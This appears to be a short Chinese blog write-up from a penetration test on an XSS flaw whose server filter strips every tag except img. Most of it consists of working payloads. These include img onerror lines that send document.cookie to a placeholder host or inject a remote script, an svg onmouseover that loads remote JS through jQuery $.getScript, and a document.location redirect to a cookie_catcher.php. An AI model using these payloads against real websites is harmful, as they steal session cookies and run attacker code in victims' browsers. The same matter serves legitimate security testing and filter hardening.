XSS漏洞之載入遠端js檔案
這次在對一個系統滲透測試過程中,發現一個XSS漏洞,可彈窗,並且沒有httponly
但是在嘗試載入遠端js檔案的時候發現,script標籤被過濾掉了,準確的說應該是伺服器後端在識別到輸入內容有<>的時候,會把每對尖括號以及尖括號裡面的內容都過濾掉,唯獨有一個特例,就是img標籤不會
在網上找了一些資料,發現可以用img來載入遠端js,陸陸續續試過以下幾個方法:
1.<img src=x onerror=document.body.appendChild(document.createElement('img')).src='//xxx.xxx/a?cookie='+document.cookie>
用這種方式是將cookie寫入到自己搭建的伺服器下的一個txt檔案裡,這種方式能起作用,但是沒讀到cookie,so失敗了
2.<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>
這種方法也沒成功,有可能是因為其中包含有script關鍵字,so失敗了
3.<svg onmouseover="$.getScript`https://xxx/a.js`" stype="display:none">
最終成功載入到遠端js檔案的payload!這種方法只要網站支援jQuery就可以這樣子載入js檔案
這種方法有三個要素,可以自由選擇
3.1標籤:svg input object iframe img a pbutton script等等
3.2屬性:onmouseover onmousemove onclick onerror onload onfocus+autofocus
3.3事件程式碼:console.log(document.cookie)
document.location="http://www.test.com/cookie_catcher.php?c="+document.cookie
prompt(document.cookie)
confirm(document.cookie)
"$.getScript`https://xxx/a.js`" stype="display:none" --載入遠端js檔案
心得體會:
學習前輩的經驗,一定要多思考,不要搬過來就直接時直接用,多想想為什麼,多去探索原理和本質,實踐出真知。
另外,不要讓程式碼能力成為自己的短板。
&n